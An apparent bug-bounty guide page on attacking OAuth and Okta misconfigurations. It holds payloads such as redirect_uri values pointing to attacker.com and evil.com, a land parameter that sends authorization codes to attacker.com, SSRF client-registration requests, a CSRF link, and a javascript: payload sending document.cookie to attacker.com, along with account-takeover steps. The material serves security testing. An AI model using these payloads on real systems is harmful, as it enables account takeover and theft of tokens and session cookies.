OAuth / Okta Misconfiguration
OAuth exploitation
Proxy
Burp Plugin
Okta Misconfiguration
The client_id and connection parameters, crucial to the system's environment, can be obtained through various methods. One approach involves intentionally attempting to authenticate with invalid credentials.
After acquiring the client_id and connection parameters, the next step involves verifying if the system supports registration through the Auth0 API. To do this, we initiate a POST request to "/dbconnections/signup"
Oauth Basics & Exploit
3 parties:
Client App: Web app that is requesting access
Resouce Owner: The user whose data the client app wants access
Authorization Server: The application that controls users data and have access to it (via API)
Steps:
Get request to Authorization Server
GET /authorize?
response_type=code&
client_id=client123&
redirect_uri=https://client.com/callback&
scope=openid profile email&
state=xyz123
Host: authserver.comLogin
HTTP/1.1 302 Found
Location: https://client.com/callback?&code=abc123&state=xyz123Check if the state value returned is the same that the client state value. If not CSRF
Request an access token - client app send a POST request
POST /oauth/token
Content-Type: application/x-wwww-form-urlencoded
grant_type=authorization_code
&code=abc123xyz
&redirect_uri=https://yourapp.com/callback
&client_id=your_client_id
&client_secret=your_client_secret{
"access_token": "eyJ.........",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "def456uvw",
"scope": "read write"
}The client app can use the token to access data
Understand the flows:
Implicit Flow
Deprecated - Leak the access token in URL
Authorization Code Flow
Test:
Use two accounts.
Login with user 1, intercept the code value. Login to User 2, use User 1 code value.
If it's working -> Vulnerability: Authorization code replay/reuse.
Improper Oauth implementation where an attacker can steal then reuse the same code to get another access token Could lead to session hijacking
Path traversal in redirect_uri:
Check Open Redirection
PKCE
2 more extra parameters to the authorize? request:
code_challenge
code_challenge_method
code_verifier parameter added to the token request
Check for open redirect + Authorization code reuse vulnerability + Code verifier reuse:
The code verifier is supposed to be used only once for one login attempt. Test if an attacker can reuse it to the same or different code and steal a victim session
OpenID Connect
Include a nonce parameter
return id_token = JWT
Look for open redirect and redirect_ui + JWT vulnerabiliies (none alg, etc.)
JWT TokenDevice Code
grant_type and device_code parameters
Check for rate limit on the device code endpoint + expiration for the device code
OAuth Detection
In the SSO feature. For example the URL will be looks like this
https://example/signin?response_type=code&redirect_uri=https://callback_url/auth&client_id=FQ9RGtMkztAgmAApKOqACrBNq&state=7tvPJiv8StrAqo9IQE9xsJaDso4&scope=+profile+email+phone+group+role+resourceExploit
Main Vulnerabilities:
Misconfigured redirect_uri → token/code leaks
Missing state → session hijack
prompt=none → stealthy logins
Combine them → account takeover
Open Redirection
Open Redirectionhttps://www.target.com/login?client_id=123&redirect_url=https://www.target.com/redirect?redirect=1&url=https://www.zseano.com/https://auth.example.com/authorize?redirect_uri=https://attacker.com/callbackOAuth token stealing by changing redirect_uri and Use IDN Homograph
Normal parameter
&redirect_uri=https://example.comIDN Homograph
&redirect_uri=https://еxamplе.com
If you notice, im not using the normal e
Open Redirection on redirect_uri parameter
Normal parameter
&redirect_uri=https://example.comOpen Redirect
&redirect_uri=https://evil.com &redirect_uri=https://example.com.evil.com etc.
Normal Functionality versus OAuth
Create an account with victim@gmail.com with normal functionality. Create account with victim@gmail.com using OAuth functionality. Now try to login using previous credentials.
OAuth Token Re-use
Code Verifier Reuse
Improper handling of state parameter
state parameterThe state parameter is used to prevent CSRF and replay attacks.
If:
It's missing, or
It's predictable or static
… then attackers can hijack login flows.
Attack Flow:
Victim logs into victim.com
Attacker reuses the same OAuth flow with captured code/state
Boom — session fixation or unauthorized login
To exploit this, go through the authorization process under your account and pause immediately after authorization. Then send this URL to the logged-in victim
CSRF Attack
<a href="https://example.com/authorize?client_id=client1&response_type=code&redirect_uri=http://callback&scope=openid+email+profile">Press Here</a>
Lack of origin check.
Email change
If there is an email parameter after signin then try to change the email parameter to victim's one.
Try to remove email from the scope and add victim's email manually.
Silent Login Flows Without Consent or Context
Some providers allow silent authentication using prompt=none. If not implemented carefully, this enables login without user interaction — especially dangerous in embedded browsers.
Attack Vector:
Attacker embeds an iframe with prompt=none
Victim is logged in silently
Attacker extracts tokens or forces login context into another account
Can be chained with open redirect or session confusion for stealthy account takeover.
Check if its leaking client_secret
client_secretMixing Up client_id and Trust Levels
Some OAuth providers allow wildcard redirect URIs (https://example.com/*) for trusted apps. If attacker registers a malicious subdomain (e.g., evil.example.com), they can abuse it as a redirect_uri.
land parameter
land parameterhttps://example.com/authcallback?land=https://attacker.comAfter successful authentication, the authorization server redirects the user to a specified URI with an authorization code
https://example.com/authcallback?code=AUTH_CODE&state=STATECraft a URL that redirects this code to a malicious domain
https://example.com/authcallback?land=https://attacker.com/steal?code=AUTH_CODE&state=STATESSRF
logo_uri and jwks_uri are particularly interesting for SSRF attacks
CVE-2021-26715: SSRF via "logo_uri" in MITREid Connect
POST /openid-connect-server-webapp/register HTTP/1.1
Host: local:8080
Content-Length: 118
Content-Type: application/json
{
"redirect_uris": [
"http://artsploit.com/redirect"
],
"logo_uri": "http://artsploit.com/xss.html"
}request_uri
GET /authorize?response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwtDirty Dancing
Login with google
/services/login/identity?google_apps_uri=
https://app.shopify.com/services/login/identity?google_apps_uri=javascript:fetch('//attacker.com?c='+document.cookie)Account Takeover via Facebook
1
Click “Login with Facebook”
Redirects to FB OAuth
2
Uncheck email scope
FB returns with no email claim
3
App asks for email → type victim@example.com
App stores email + temp token
4
App sends normal confirmation link to victim
Victim inbox
5
Victim clicks (looks 100% legit)
Email gets marked verified
6
OAuth flow completes → attacker receives session cookies
Dashboard shows orders, PII, etc.
Resources
Interesting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Support this Gitbook
I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.
Last updated